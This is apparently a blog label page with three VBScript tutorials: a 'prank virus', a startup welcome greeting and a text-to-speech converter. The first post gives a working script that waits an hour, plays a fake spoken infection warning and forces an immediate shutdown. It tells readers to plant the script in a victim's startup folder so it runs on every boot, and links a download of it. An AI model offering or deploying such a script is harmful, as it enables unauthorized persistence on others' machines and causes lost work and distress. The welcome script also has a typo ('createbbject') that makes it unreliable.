Showing posts with label Fun With VBScript. Show all posts
Showing posts with label Fun With VBScript. Show all posts

Saturday, 25 May 2013

Create a Simple Prank Virus Using VBScript


In this post I will show you all how to create a simple prank virus using the VBScript.

Follow the steps below:

1. Open Notepad.
2. Copy the script below:


 wscript.sleep 1000*60*60
 Dim m,s
 set s=createobject("sapi.spvoice")
 msgbox "Turn on the volume if it is off"
 s.speak "Your computer has been infected by a harmful virus, please contact your nearest     retailer soon. To prevent any harm, i am going to turn off the computer in"
 s.speak "Three"
 wscript.sleep 1000
 s.speak "Two"
 wscript.sleep 1000
 s.speak "One"
 set shell=createobject("wscript.shell")
 shell.run("shutdown.exe -s -t 00")


3. Save it as anyname.vbs (NOTE: .vbs is a must)
4. Now copy this virus in your pendrive and paste this into the startup folder of the victim's computer.

5. To open the 'startup' folder, go to My Computer. Enter "Shell:Startup" (without the quotes) in the space where you see Computer written i.e. to the left of the 'search box'

It is done and you have tricked your Friend or whomsoever this prank was played on. Just sit back and enjoy them panic.

You can directly download the prank virus here:
Prank virus






Thursday, 9 May 2013

Make Your Computer Welcome You!

In this post I will show you all how to make your computer welcome you, whenever you turn on your PC.

Follow the steps below:
1. Open Notepad.
2. Copy the script below:

  dim m, s
  set s=createbbject("sapi.spvoice")
  s.speak "Welcome to your Computer, Yourname"

3. Replace "Yourname" by whatever you want.
4. Save it as anyname.vbs (NOTE: .vbs is a must)
5. Go to My Computer. Enter "Shell:Startup" (without the quotes) in the space where you see Computer written i.e. to the left of the 'search box'
6. Paste the anyname.vbs file there.
7. Restart your computer to see how your PC welcomes you. 

Text to Speech Converter

In this post I will show you how to make a simple Text to Speech converter using Visual Basic Script.

Follow the steps below:
1. Open NOTEPAD
2. Copy the following script

 dim m, s
   m=inputbox("Enter text","Text2Speech")
 set s=createobject("sapi.spvoice")
 s.Speak m

3. Save the file as Text2Speech.vbs or anyname.vbs (NOTE: .vbs is a must)
4. Open the file and type the word that you want to hear.

This is it. You got a text to speech converter in less than two minutes.